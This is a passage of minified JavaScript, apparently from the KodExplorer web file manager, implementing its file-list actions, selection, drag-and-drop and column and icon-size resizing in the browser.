i=G.json_data.share_list[e.sid];t.shareBox(i)}catch(a){}},shareOpenWindow:function(){var e=g("path",v().path),t=e.type;"folder"==e.type&&(t=1==e.code_read?"code_read":"folder");var i="./index.php?share/"+t+"&user="+G.json_data.info.id+"&sid="+e.sid;window.open(i)},shareOpenPath:function(){var e=v(),t=g("path",e.path);if(!t||!G.json_data.share_list)return i.open(e.path,e.type),void 0;var a=G.json_data.share_list[t.sid],n=core.pathFather(a.path),o=core.pathThis(a.path);"folder"==a.type?ui.path.list(a.path,""):ui.path.list(n,"",function(){r(o)})},explorer:function(){core.explorer(v().path)},explorerNew:function(){window.open("index.php?/explorer&path="+v().path)},openProject:function(){core.explorerCode(v().path)},search:function(){core.search("",v().path)},fav:function(){var e=v(),i=ui.fileLight.fileListSelect().last();e.name=trim(i.find(".filename").text()),t.fav(e)},recycleClear:function(){t.remove([{type:"recycle_clear",path:""}],function(){ui.f5()})},remove:function(e,i){if(n()){var a=v(!0);G.json_data.info&&G.json_data.info.path_type==G.KOD_USER_SHARE&&G.json_data.info.id==G.user_id&&-1==trim(G.this_path,"/").indexOf("/")&&$.each(a,function(e){var t=g("path",a[e].path);void 0!=t&&(a[e].type="share",a[e].path=t.sid)}),t.remove(a,m,e,i)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(i){var a=trim($(this).text());i!=e.length-1?t.favRemove(a,"",!0):t.favRemove(a,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},copy:function(){n()&&t.copy(v(!0))},cute:function(){n()&&t.cute(v(!0),ui.f5)},zip:function(e){t.zip(v(!0),m,e)},unZip:function(e){n()&&t.unZip(v().path,ui.f5,e)},cuteDrag:function(e){t.cuteDrag(v(!0),e,m)},copyDrag:function(e,i){t.copyDrag(v(!0),e,m,i)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){t.copyDrag(v(!0),e,m,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){t.cuteDrag(v(!0),e,m)})},info:function(){t.info(v(!0))},past:function(){var e=G.this_path;"list_split"==G.user_config.list_type&&($containBox=$(".split_box.split_select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),t.past(e,m)},newFile:function(e){void 0==e&&(e="txt"),u("file",p("newfile",e),e)},newFolder:function(){u("folder",p(LNG.newfolder),"")},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+v().path;window.open(e)},rname:h,list:o,setSearchByStr:c,setSelectByChar:l,setSelectByFilename:r,clipboard:t.clipboard}}),define("app/src/explorer/tpl/file_create.html",[],"<div class=\"file select {{if type=='file'}}menufile{{else}}menufolder{{/if}} file_icon_edit\" id=\"makefile\">\n {{if list_type=='list'}}<span class=\"children_more\"></span>{{/if}}\n <div class=\"filename\" style=\"padding-top: 0px;\">\n <span class=\"title\">\n {{if type=='folder'}}\n <div class='ico' filetype='folder'>{{\"folder\" | core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{name_ext}}'>{{ext | core.icon}}</div>\n {{/if}}\n <div class=\"textarea\">\n {{if list_type=='icon'}}\n <textarea class='newfile fix'>{{newname}}</textarea>\n {{else}}\n <input class='newfile fix' value='{{newname}}'/>\n {{/if}}\n </div>\n </span>\n </div>\n <div style=\"clear:both;\"></div>\n</div>\n"),define("app/src/explorer/fileLight",[],function(){var e=$(),t=$(),i=function(){var e;e="list_split"!=G.user_config.list_type?$(".bodymain .fileContiner .file"):$(".bodymain .fileContiner .split_select .file"),t=e,u("clear"),n()},a=function(){var t=$(Config.SelectClass);e=t,t.length>1&&c(t),u("menufile"),o(),h()},n=function(){if(G.json_data&&G.json_data.filelist){var e=G.json_data.filelist.length+G.json_data.folderlist.length;$(".file_select_info .item_num").html(e+LNG.folder_info_item)}},o=function(){var t="",i=0,a=e;0!=a.length&&(t=a.length+LNG.folder_info_item_select,a.each(function(){i+=parseInt($(this).attr("data-size"))}),0!=i&&(t=t+" ("+core.fileSize(i)+")")),$(".file_select_info .item_select").html(t)},s=function(t){var i=e;if(void 0==t&&i&&i.length>=1&&(t=$(i[i.length-1])),void 0!=t&&!t.inScreen()){var a=$(".bodymain");"list_split"==G.user_config.list_type&&(a=t.parent());var n=t.offset().top-a.offset().top-a.height()/2+a.scrollTop();a.stop(!0).animate({scrollTop:n},100)}},r=function(e){return core.pathThis(m(e))},l=function(e){return e.find(".ico").attr("filetype")},c=function(e){if(G.json_data.info)switch(G.json_data.info.path_type){case G.KOD_USER_RECYCLE:return;case G.KOD_USER_FAV:return e.removeClass("menuFavPath").addClass("menuFavPathMore"),void 0;case G.KOD_USER_SHARE:if(-1==trim(G.this_path,"/").search("/"))return e.removeClass("menuSharePath").addClass("menuSharePathMore"),void 0;case G.KOD_GROUP_ROOT_SELF:case G.KOD_GROUP_ROOT_ALL:return e.removeClass("menuGroupRoot").addClass("menuGroupRootMore"),void 0;default:}e.removeClass("menufile menufolder").addClass("menuMore"),u()},d=function(e){var t={fileBox:"menufile",folderBox:"menufolder",menuRecyclePath:"menuRecyclePath",menuSharePathMore:"menuSharePath",menuFavPathMore:"menuFavPath",menuGroupRootMore:"menuGroupRoot",menuDefault:"menuDefault"};e.removeClass("menuMore");for(var i in t)e.hasClass(i)&&e.addClass(t[i]);u()},p=function(){var t=[];if(0!=e.length)return e.each(function(){t.push(m($(this)))}),t},f=function(){if(0!=e.length){var t=e;t.removeClass(Config.SelectClassName),t.each(function(){d($(this))}),e=$(),u(),o(),h()}},u=function(){0==e.length?($(".drop-menu-action li").addClass("disabled"),$(".drop-menu-action #past").removeClass("disabled"),$(".drop-menu-action #info").removeClass("disabled")):$(".drop-menu-action li").removeClass("disabled")},h=function(){var t=".close_item,.refresh,.newfile,.past,.info",i=".open_ie",a=".explorer,.createProject,.openProject",n=".close_item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more_action,.clone,.info,.zip,.zip_zip,.zip_tar,.zip_tgz",o=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.createLinkHome,.createLink,.createProject",s=$(".menuToolPath"),r="disabled";s.find(".context-menu-item").addClass(r),0==e.length?s.find(t).removeClass(r):1==e.length?(s.find(".context-menu-item").removeClass(r),"folder"==l(e)?s.find(i).addClass(r):s.find(a).addClass(r)):e.length>1&&s.find(n).removeClass(r),G.json_data&&G.json_data.info&&G.json_data.info.can_upload===!1&&s.find(o).filter(":not(."+r+")").addClass(r)},m=function(e,t){return void 0==t&&(t="data-path"),void 0!=e.attr("data-path-children")&&(t="data-path-children"),pathHashDecode(e.attr(t))};return{init:i,name:r,path:m,type:l,fileListSelect:function(t){return t&&(e=t),e},fileListAll:function(e){return e&&(t=e),t},select:a,setInView:s,setMenu:c,menuResetMore:h,resumeMenu:d,getAllName:p,clear:f,menuAction:u}}),define("app/src/explorer/fileSelect",[],function(){var e=!1,t=!1,i=!1,a=function(){$(Config.FileBoxClass).die("touchstart").live("touchstart",function(){$(this).hasClass("select")?ui.path.open():(ui.fileLight.clear(),$(this).removeClass("select"),$(this).addClass("select"),ui.fileLight.select())});var a=function(e){!e.hasClass(Config.TypeFolderClass)&&!e.hasClass("menuRecycleButton")||e.hasClass(Config.SelectClassName)||($(".selectDragTemp").removeClass("selectDragTemp"),e.addClass("selectDragTemp"))},l=function(){};$(Config.FileBoxClass).die("mouseenter").live("mouseenter",function(){t&&a($(this)),e||t||$(this).addClass(Config.HoverClassName),l($(this)),$(this).unbind("mousedown").bind("mousedown",function(e){if($(e.target).is("input")||$(e.target).is("textarea"))return!0;if($(this).focus(),rightMenu.hidden(),$(e.target).parents(".children_more").length>0)return ui.fileContent.pathChildrenTree($(this)),stopPP(e),!1;if(!(e.ctrlKey||e.metaKey||e.shiftKey||$(this).hasClass(Config.SelectClassName)))return ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0;if(3!=e.which||$(this).hasClass(Config.SelectClassName)||(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select()),(e.ctrlKey||e.metaKey)&&($(this).hasClass(Config.SelectClassName)?i=!0:(ui.fileLight.setMenu($(this)),$(this).addClass(Config.SelectClassName)),ui.fileLight.select()),e.shiftKey){var t=h.fileListAll($(this)),a=h.fileListSelect($(this)),n=t.index($(this));if(0==a.length)k(0,n,t);else{var o=t.index(a.first()),s=t.index(a.last());o>n?k(n,s,t):n>s?k(o,n,t):k(o,n,t)}}return!0}).unbind("mouseup").bind("mouseup",function(){return $(".selectDragTemp").removeClass("selectDragTemp"),!0})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(Config.HoverClassName),t&&$(this).removeClass("selectDragTemp")}).die("click").live("click",function(e){return stopPP(e),t?!1:(0==$(this).find(".textarea").length&&0==$(".file-draging-box").length&&(e.ctrlKey||e.metaKey||e.shiftKey?(e.ctrlKey||e.metaKey)&&i&&(i=!1,ui.fileLight.resumeMenu($(this)),$(this).removeClass(Config.SelectClassName),ui.fileLight.select()):(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),r($(this)))),void 0)}).die("dblclick").live("dblclick",function(e){if(!($(e.target).is("textarea")||$(e.target).is("input")||$(e.target).hasClass("children_more")||$(e.target).hasClass("children_more_cert")))if(e.altKey)ui.path.info();else{if(1!=ui.fileLight.fileListSelect().length)return;if("list_split"==G.user_config.list_type&&s($(this))){var t=ui.fileLight.path($(this));return G.this_path="",$(".fileList_list_split .split_box").remove(),ui.path.list(t),void 0}ui.path.open()}}),n(),o(),$(Config.FileBoxTittleClass).die("dblclick").live("dblclick",function(e){if(!$(this).hasClass("db_click_rename"))return!0;var t=$(this).parents(".file");return t.hasClass("systemBox"),ui.path.rname(),stopPP(e),!1})},n=function(){var e;$("#folderList a").die("mouseenter").live("mouseenter",function(){if(t){($(this).hasClass("menuTreeFolder")||$(this).hasClass("menuTreeFolderFav"))&&$(this).addClass("curDropTreeNode"),clearTimeout(e),e=!1;var i=ui.tree.zTree(),a=i.getNodeByTId($(this).parent().attr("id"));!a.open&&a.isParent&&(e=setTimeout(function(){i.expandNode(a,!0)},600))}}).die("mouseup").live("mouseup",function(){if(t){$(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1;var i=ui.tree.zTree(),a=i.getNodeByTId($(this).parent().attr("id"));setTimeout(function(){a.isParent=!0,i.reAsyncChildNodes(a,"refresh")},100)}}).die("mouseleave").live("mouseleave",function(){t&&($(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1)})},o=function(){$(".header-middle .yarnlet a").die("mouseenter").live("mouseenter",function(){t&&$(this).addClass("curDropToPath")}).die("mouseup").live("mouseup",function(){t&&$(this).removeClass("curDropToPath")}).die("mouseleave").live("mouseleave",function(){t&&$(this).removeClass("curDropToPath")})},s=function(e){return"icon"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")?!0:!1:"list"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:"list_split"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:void 0},r=function(e){if("list_split"==G.user_config.list_type&&s(e)&&1==ui.fileLight.fileListSelect().length){var t=ui.fileLight.path(e);ui.path.history.add(t),ui.fileContent.pathChildrenSplit(t,function(){c(t)})}},l=function(){var e=".fileList_list_split .split_box",t="split_hover";$(e).live("mouseenter",function(){$(e).removeClass(t),$(this).addClass(t)}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(t)}).die("click").live("click",function(){c(ui.fileLight.path($(this)))}).die("mousedown").live("mousedown",function(e){var t=$(e.target).parents(".file");(0==t.length||0==t.find(".children_open").length)&&c(ui.fileLight.path($(this)))})},c=function(e){var t=$(".fileList_list_split .split_box"),i=$('.fileList_list_split .split_box[data-path="'+pathHashEncode(e)+'"]'),a=$('.fileList_list_split .split_box .file[data-path="'+pathHashEncode(e)+'"]'),n="split_select";0==i.length&&(i=t.last()),t.removeClass(n),i.addClass(n),0==ui.fileLight.fileListSelect().length&&a.addClass("select"),ui.fileLight.select();var o=i.data("jsonData");o&&e&&(ui.fileContent.pathTypeChange(o),G.this_path=e,G.json_data=o,ui.headerAddress.addressSet()),ui.fileLight.init()},d=function(e){return e.hasClass("menuSharePath")||e.hasClass("systemBox")?!1:!0},p=function(){var i,a,n,o=150,s=!1,r=!1,l=0,c=!1,p=-15,f=10,u=0,h=0,m="selectDragDraging";$(Config.FileBoxClass).die("mousedown").live("mousedown",function(t){if(!t.shiftKey){if(ui.isEdit())return!0;if(1!=t.which||e)return!0;i=$(this),d(i)&&(g(t),$.browser.mozilla||this.setCapture&&this.setCapture(),$(document).mousemove(function(e){b(e)}),$(document).keydown(function(e){b(e)}),$(document).keyup(function(e){b(e)}),$(document).one("mouseup",function(e){x(e),this.releaseCapture&&this.releaseCapture()}))}});var _,v,g=function(e){rightMenu.hidden(),t=!0,l=$.now(),u=e.pageY,h=e.pageX,a=$(document).height(),n=$(document).width(),r=$(e.target).parents(".file")},b=function(e){if(!t)return!0;if(window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),$.now()-l>o&&!c&&(w(),s=$(".draggable-dragging"),s.attr("data-beforeInfo",s.find("span").html())),c){var i=e.clientX>=n-50?n-50:e.clientX,r=e.clientY>=a-50?a-50:e.clientY;return i=0>=i?0:i,r=0>=r?0:r,i-=p,r-=f,s.css({left:i,top:r}),y(e),j(i-h+p,r-u+f),!0}},y=function(e){clearTimeout(_),_=!1,_=setTimeout(function(){try{k(e)}catch(t){}},10)},k=function(e){var t=e.ctrlKey||e.metaKey,i=function(e,t){G.sid!==void 0&&(e="none"),void 0!=t&&0!==t.search(G.KOD_GROUP_PATH)&&0!==t.search(G.KOD_USER_RECYCLE)&&core.isSystemPath(t)&&(e="clear");var i=htmlEncode(core.pathThis(t)),a=" "+s.attr("data-beforeInfo").replace(/<[^<>]+>/g,""),n={copy_to:'<i class="font-icon bg-ok icon-copy"></i><b>'+LNG.copy_to+'</b>"'+i+'"',move_to:'<i class="font-icon bg-ok icon-share-alt"></i><b>'+LNG.cute_to+'</b>"'+i+'"',remove:'<i class="font-icon bg-error icon-trash"></i><b>'+LNG.remove+a+"</b>",share:'<i class="font-icon bg-ok icon-share-sign"></i><b>'+LNG.share+a+"</b>",none:'<i class="font-icon bg-error icon-minus"></i><b>'+LNG.no_permission_write+"</b>",clear:s.attr("data-beforeInfo")};t==G.this_path&&(n.copy_to='<i class="font-icon bg-ok icon-copy"></i><b>'+LNG.clone+"</b>"),s.find("span").html(n[e]),s.attr("data-actionType",e),s.attr("data-actionPath",t)};if(0!=$(".selectDragTemp").length||0!=$(".curDropTreeNode").length||0!=$(".curDropToPath").length){var a=ui.fileLight.path($(".selectDragTemp"));if(0!=$(".curDropTreeNode").length){var n=ui.tree.zTree(),o=n.getNodeByTId($(".curDropTreeNode").parent().attr("id"));a=o.path}0!=$(".curDropToPath").length&&(a=$(".curDropToPath").attr("data-path")),$(".selectDragTemp").hasClass("menuRecycleButton")?i("remove"):t?i("copy_to",a):i("move_to",a)}else if(0!=$(".recycle_hover").length)i("remove");else if(0!=$(".share_hover").length&&1>=ui.fileLight.fileListSelect().length)i("share");else if(t){var a=G.this_path;"list_split"==G.user_config.list_type&&0!=$(".split_hover").length&&(a=ui.fileLight.path($(".split_hover"))),i("copy_to",a)}else"list_split"!=G.user_config.list_type||0==$(".split_hover").length||$(".split_hover").hasClass("split_select")?i("clear"):i("move_to",ui.fileLight.path($(".split_hover")))},x=function(){if(!t)return!1;if(t=!1,c=!1,$("body").removeClass(m),s){s.addClass("animated-300").addClass("flipOutXLine").fadeOut(200,function(){s.remove(),s=!1});var e=function(e,t){switch(e){case"copy_to":ui.path.copyDrag(t,!0);break;case"move_to":ui.path.cuteDrag(t);break;case"remove":ui.path.remove(!0);break;case"share":ui.path.share();break;default:}},i=s.attr("data-actionType");-1!=$.inArray(i,["copy_to","move_to","remove","share"])?E(!1):E(!0),e(i,s.attr("data-actionPath"))}},w=function(){$("body").addClass(m);var e=ui.fileLight.fileListSelect().length;$('<div class="file draggable-dragging"><div class="drag_number">'+e+'</div><span><i class="font-icon bg-default icon-ok"></i>'+e+" "+LNG.file+"</span></div>").appendTo("body"),c=!0,setTimeout(S,20)},N=0,L=5,C=35,z=20,T=60,S=function(){clearTimeout($(".file-draging-box").data("removeDelay")),$(".file-draging .file").stop(),$(".file-draging-box").remove();var e={icon:"fileList_icon",list:"fileList_list",list_split:"fileList_list_split"},t=e[G.user_config.list_type];$("<div class='fileContiner file-draging-box'><div class='"+t+" file-draging'></div></div>").appendTo("body"),v=$(Config.SelectClass).filter("[data-path!='']");var i=v.clone();(v.length>=T||$.browser.msie)&&(i=r.clone()),i.appendTo(".file-draging"),i.each(function(e){var t=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']"),a=t.offset();$(this).css({left:a.left,top:a.top,width:t.width()}),$(this).data({"data-left":a.left,"data-top":a.top,"data-animateTime":200+e*L,"data-sizeAdd":N*e}),$(this).attr("data-path")==r.attr("data-path")&&$(this).addClass("handle_target"),1==i.length&&($(this).data({"data-animateTime":0}),z=0)}),v.addClass("item-file-draging");var a=setTimeout(function(){$(".file-draging-box").data("animate","finished");var e=$(".draggable-dragging");i.each(function(){var t=$(this),i=$(this).data("data-sizeAdd"),a=$(this).data("data-animateTime");$(this).data("status","ready"),$(this).animate({opacity:1},{duration:a,easing:"swing",progress:function(a,n){var o=t.offset(),s=e.offset(),r=(s.left+i-o.left)*n,l=(s.top+i+C-o.top)*n;t.css({left:o.left+r,top:o.top+l})},complete:function(){t.data("status","finished")}})})},z);$(".file-draging-box").data("dragDelay",a),$(".file-draging-box").data("animate","ready")},j=function(e,t){return"finished"!=$(".file-draging-box").data("animate")?($(".file-draging .file").each(function(){$(this).css({left:$(this).data("data-left")+e,top:$(this).data("data-top")+t})}),void 0):($(".file-draging .file").each(function(){if("finished"==$(this).data("status")){var e=$(this).data("data-sizeAdd"),t=$(".draggable-dragging").offset();$(this).css({left:t.left+e,top:t.top+e+C})}}),void 0)},E=function(e){var t=$(".file-draging .file").length;clearTimeout($(".file-draging-box").data("dragDelay")),$(".file-draging .file").each(function(t){var i=t*L,a=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']");e?$(this).stop().animate({left:$(this).data("data-left"),top:$(this).data("data-top")},250+i,function(){v.removeClass("item-file-draging")}).animate({opacity:0},150,function(){$(this).remove()}):(a.stop().animate({opacity:1},100),$(this).stop().animate({opacity:0},200+i,function(){$(this).remove()}))});var i=setTimeout(function(){$(".file-draging-box").remove()},400+L*t);$(".file-draging-box").data("removeDelay",i)}},f=function(){var i=null,a=null,n=null,o=0,s=0,r=0,l=0,c="",d="bodymain";"desktop"==Config.pageApp&&(d="fileContiner");var p=$("."+d);p.die("mousedown").live("mousedown",function(e){if(!($(e.target).hasClass(d)&&20>$(document).width()-e.pageX)){if(r=$(".fileContiner").outerHeight(),l=p.outerHeight(),ui.isEdit())return!0;if(1!=e.which||t)return!0;f(e),this.setCapture&&this.setCapture(),$(document).unbind("mousemove").mousemove(function(e){u(e)}),$(document).one("mouseup",function(e){clearTimeout(c),c=!1,m(e),this.releaseCapture&&this.releaseCapture()
|
||
})}});var f=function(t){s=p.offset().left-p.scrollLeft(),o=p.offset().top-p.scrollTop(),"list_split"==G.user_config.list_type&&(o+=$(t.target).parents(".split_box").scrollTop()),$(t.target).parent().hasClass(Config.FileBoxClassName)||$(t.target).parent().parent().hasClass(Config.FileBoxClassName)||$(t.target).hasClass("fix")||(rightMenu.hidden(),t.ctrlKey||t.metaKey||t.shiftKey||ui.fileLight.clear(),$(t.target).hasClass("ico")||(i=t.pageX-s,a=t.pageY-o,c=setTimeout(function(){e=!0,0==$("#selContainer").length&&$('<div id="selContainer"></div>').appendTo(Config.FileBoxSelector),n=$("#selContainer")},100)))},u=function(t){if(!e)return!0;var o=t.pageX-p.offset().left+p.scrollLeft(),s=t.pageY-p.offset().top+p.scrollTop(),c=Math.abs(o-i),d=Math.abs(s-a);s>a&&d>r-a&&r>l&&(d=r-a),n.css({left:Math.min(o,i)+2,top:Math.min(s,a)+2,width:c,height:d}),1e3>ui.fileLight.fileListAll().length&&h()},h=function(){for(var e=n.offset().left-p.offset().left+p.scrollLeft(),t=n.offset().top-p.offset().top+p.scrollTop(),i=e+n.width(),a=t+n.height(),o=ui.fileLight.fileListAll(),s=0;o.length>s;s++){var r=o[s],l=$(o[s]),c=l.parent().scrollTop(),d=r.offsetLeft,f=r.offsetTop-c,u=d+l.width(),h=f+l.height();if("list_split"==G.user_config.list_type&&(d+=l.parents(".split_box")[0].offsetLeft,u=d+l.width()),i-e+u-d>Math.abs(e+i-(d+u))&&a-t+h-f>Math.abs(t+a-(f+h))){if(!l.hasClass("selectDragTemp")){if(l.hasClass("selectToggleClass"))continue;if(l.hasClass(Config.SelectClassName)){l.removeClass(Config.SelectClassName).addClass("selectToggleClass"),ui.fileLight.resumeMenu(l);continue}l.addClass("selectDragTemp")}}else l.removeClass("selectDragTemp"),l.hasClass("selectToggleClass")&&l.addClass(Config.SelectClassName).removeClass("selectToggleClass")}},m=function(){return e?(h(),n.remove(),$(".selectDragTemp").addClass(Config.SelectClassName).removeClass("selectDragTemp"),$(".selectToggleClass").removeClass("selectToggleClass"),ui.fileLight.select(),e=!1,i=null,a=null,void 0):!1}},u=function(e,t){var i=$(".fileList_list_split .split_box.split_select");if(e)i=e.parents(".split_box");else if(0!=ui.fileLight.fileListSelect().length){var a=ui.fileLight.fileListSelect().last();i=a.parents(".split_box")}return i.find(t)},h={fileListAll:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListAll():u(e,".file")},fileListSelect:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListSelect():u(e,".file.select")}},m=function(e){var t=h.fileListAll(),i=h.fileListSelect(),a=t.length-1,n=0,o=ui.getColfileNumberDesktop(),s=t.index(i.first()),r=t.index(i.last());switch(e){case"pageup":case"up":n=0>=s||0==s%o?s:s-1;break;case"left":n=0>=s-o?0:s-o;break;case"pagedown":case"down":n=r>=a||0==(r+1)%o?r:r+1;break;case"right":n=r+o>=a?a:r+o;break;default:}return t.eq(n)},_=function(e){if("desktop"==Config.pageApp)return m(e);var t=h.fileListAll(),i=h.fileListSelect(),a=t.length-1,n=0,o=ui.getRowfileNumber(),s=ui.getPagefileNumber(),r=t.index(i.first()),l=t.index(i.last());switch(e){case"up":n=0>=r-o?0:r-o,n=v(n,!1);break;case"left":n=0>=r?0:r-1;break;case"down":n=l+o>=a?a:l+o,n=v(n,!0);break;case"right":n=l>=a?l:l+1;break;case"pageup":n=0>=r-s?0:r-s,n=v(n,!1);break;case"pagedown":n=l+s>=a?a:l+s,n=v(n,!0);break;default:}return t.eq(n)},v=function(e,t){for(var i=h.fileListAll(),a=i.eq(e),n=i.length;0!=a.parents(".hidden").length;){if(t?e++:e--,0>=e||e>=n)return e;a=i.eq(e)}return e},g=function(e){var t,i=h.fileListAll(),a=h.fileListSelect(),n="",o=!1;switch(e.indexOf("shift+")>=0&&(o=!0,e=e.replace("shift+","")),e){case"home":n=a.last(),t=i.first();break;case"end":n=a.first(),t=i.last();break;case"left":n=a.last(),t=_(e);break;case"up":n=a.last(),t=_(e);break;case"right":n=a.first(),t=_(e);break;case"down":n=a.first(),t=_(e);break;case"pageup":n=a.last(),t=_(e);break;case"pagedown":n=a.first(),t=_(e);break;case"all":t=i;break;default:}if(!y(e)){if(o&&""!=n){var s=i.index(n),r=i.index(t);if(s>r){var l=s;s=r,r=l}return k(s,r,i),void 0}b(t)}},b=function(e){0!=e.length&&(ui.fileLight.clear(),e.addClass(Config.SelectClassName),ui.fileLight.select(),ui.fileLight.setInView(),"list_split"==G.user_config.list_type&&1==e.length&&r($(ui.fileLight.fileListSelect()[0])))},y=function(e){var t=$(ui.fileLight.fileListSelect()[0]);if("icon"==G.user_config.list_type)return!1;switch(e){case"left":if("list"==G.user_config.list_type)if(1==t.find(".children_more_cert.cert_open").length)t.find(".children_more_cert").removeClass("cert_open"),t.next().addClass("hidden");else{var i=t.parent(".children_list").prev(".file");b(i)}else if("list_split"==G.user_config.list_type){var i=t.parents(".split_box").prev().find(".select_split_parent");b(i)}break;case"right":if("list"==G.user_config.list_type)1==t.find(".children_more_cert").length&&(ui.fileContent.pathChildrenTree(t),t.find(".children_more_cert").addClass("cert_open"),t.next().removeClass("hidden"));else if("list_split"==G.user_config.list_type){var i=t.parents(".split_box").next().find(".file:eq(0)");b(i)}break;default:return!1}return!0},k=function(e,t,i){if("desktop"==Config.pageApp)return x(e,t,i);ui.fileLight.clear();for(var a=e;t>=a;a++)$(i[a]).addClass(Config.SelectClassName);ui.fileLight.select()},x=function(e,t,i){var a=ui.getColfileNumberDesktop(),n=Math.ceil(h.fileListAll().length/a),e={row:e%a,col:parseInt(e/a)},t={row:t%a,col:parseInt(t/a)};if(t.row<e.row){var o=t;t=e,e=o}var s=function(e,t){var n=t*a+e;$(i[n]).addClass(Config.SelectClassName)};ui.fileLight.clear();for(var r=e.row;t.row>=r;r++){var l=0,c=n;r==e.row&&(l=e.col),r==t.row&&(c=t.col);for(var d=l;c>=d;d++)s(r,d)}ui.fileLight.select()};return{init:function(){a(),l(),p(),f()},isDraging:function(){return t},selectSplit:c,selectPos:g}}),define("app/src/explorer/fileListResize",[],function(){var e={filename:250,filetype:80,filesize:80,filetime:150,explorer_left_tree_width:199,editor_left_tree_width:199},t={filename:150,filetype:60,filesize:60,filetime:120,explorer_left_tree_width:2,editor_left_tree_width:2},i=e,a=function(){if(LocalData.get("resize_config"))i=jsonDecode(LocalData.get("resize_config"));else{G.user_config.resize_config!==void 0&&(i=jsonDecode(htmlDecode(G.user_config.resize_config)));var a=jsonEncode(i);LocalData.set("resize_config",a)}$.each(e,function(a){(!i[a]||i[a]<t[a])&&(i[a]=e[a])})},n=function(){if(!r()){var e=jsonEncode(i);LocalData.set("resize_config",e),$.get("index.php?setting/set&k=resize_config&v="+e)}},o=function(e){if("icon"!=G.user_config.list_type){e||(e=i);var a="",n=0;$.each(e,function(e,i){0==e.indexOf("file")&&(t[e]>=i&&(i=t[e]),n+=i,a+=".fileList_list .file ."+e+",#main_title ."+e+"{width:"+i+"px;}")}),a+=".fileList_list .file{width:"+(n+50)+"px;}",$.setStyle(a,"header_resize_width")}},s=function(a,o,s){if(!$(".frame-left").is(":hidden")){var r=Config.pageApp+"_left_tree_width",l=$.extend(!0,{},i);l[r]+=a,l[r]<=t[r]&&(l[r]=t[r]);var c=l[r],d=$(".frame-left"),p=$(".frame-resize"),f=$(".frame-right"),u=e[r];if(c>u-8&&u+8>c&&(c=u+1),s){var h=400;d.animate({width:c},h),p.animate({left:c-5},h),f.animate({left:c},h)}else d.css("width",c),p.css("left",c-5),f.css("left",c);ui.setStyle!==void 0&&ui.setStyle(),o&&(i=l,n())}},r=function(){return void 0!=$.getUrlParam("type")?!0:!1},l=function(e,a,s){var r=$.extend(!0,{},i);r[e]+=a,o(r),s&&(i=r,$.each(i,function(e,a){t[e]>=a&&(i[e]=t[e])}),n())},c=function(){$("#main_title").hasClass("bind_init")||(o(i),$("#main_title").addClass("bind_init"),$.each(e,function(e){$("#main_title ."+e+"_resize").drag({start:function(){},move:function(t){l(e,t,!1)},end:function(t){l(e,t,!0)}})}))},d=function(){var e=$(".frame-resize");e.drag({start:function(){e.addClass("active"),$(".resizeMask").css("display","block")},move:function(e){s(e,!1,!1)},end:function(t){s(t,!0,!1),e.removeClass("active"),$(".resizeMask").css("display","none")}})},p=function(){var e=G.user_config.file_icon_size;e||(e="75"),h(e,!1),f(e)},f=function(e){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var t=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["150","box-size-big"],["220","box-size-bigx"]],i=10,a="",n=0;t.length>n;n++){var o=parseInt(t[n][0]);if(e>=o-i&&o+i>=e){a=t[n][1];break}}""!=a&&$("."+a).addClass("selected")},u=function(e){G.user_config.file_icon_size=e,f(e),$.get("index.php?setting/set&k=file_icon_size&v="+e)},h=function(e,t){var i=e,a=105,n=30,o=250;"desktop"==Config.pageApp&&(n=50,o=120),i=n>=i?n:i,i=i>=o?o:i;var s=(e-n)*a/(o-n),r=20,l=10,c=parseInt(i),d=c+2*r-l+5,p=c-l,f=c-l,h=.4*c,m=c+3*r-l,_=".fileList_icon div.file{height:"+d+"px;width:"+c+"px;}";"desktop"==Config.pageApp&&(d-=5,_="div.fileList_icon div.file{height:"+d+"px;width:"+c+"px;}"),$.browser.mozilla&&(f-=4);var v="div.fileList_icon div.file{max-height:"+m+"px;}"+_+" .fileList_icon .meta_info{height:"+h+"px;width:"+h+"px; margin-right:"+.16*h+"px;margin-top:-"+1.1*h+"px;} .fileList_icon div.file .filename{width:"+c+"px;} .fileList_icon div.file .filename #pathRenameTextarea, .fileList_icon div.file .filename .newfile{width:"+c+"px;} .fileList_icon div.file .ico{padding-left:"+l/2+"px;height:"+f+"px;width:"+p+"px} .fileList_icon div.file .ico.picasaImage{width:"+p+"px;padding-left:"+l/2+"px;overflow:hidden;}";$.setStyle(v,"file_icon_resize"),$(".slider_handle").css("top",s),t&&u(e)},m=function(){var e,t=$(".slider_handle");$(".set_icon_size_slider").bind("click",function(e){return stopPP(e),!1});var i=function(t){var i=0,a=105,n=30,o=250,s=e+t;s=i>s?i:s,s=s>a?a:s;var r=parseInt(s/a*(o-n)+n);return h(r,!1),r};t.drag({start:function(){t.addClass("active"),e=parseInt(t.css("top"))},move:function(e,t){i(t)},end:function(e,a){t.removeClass("active"),u(i(a),!0)}});var 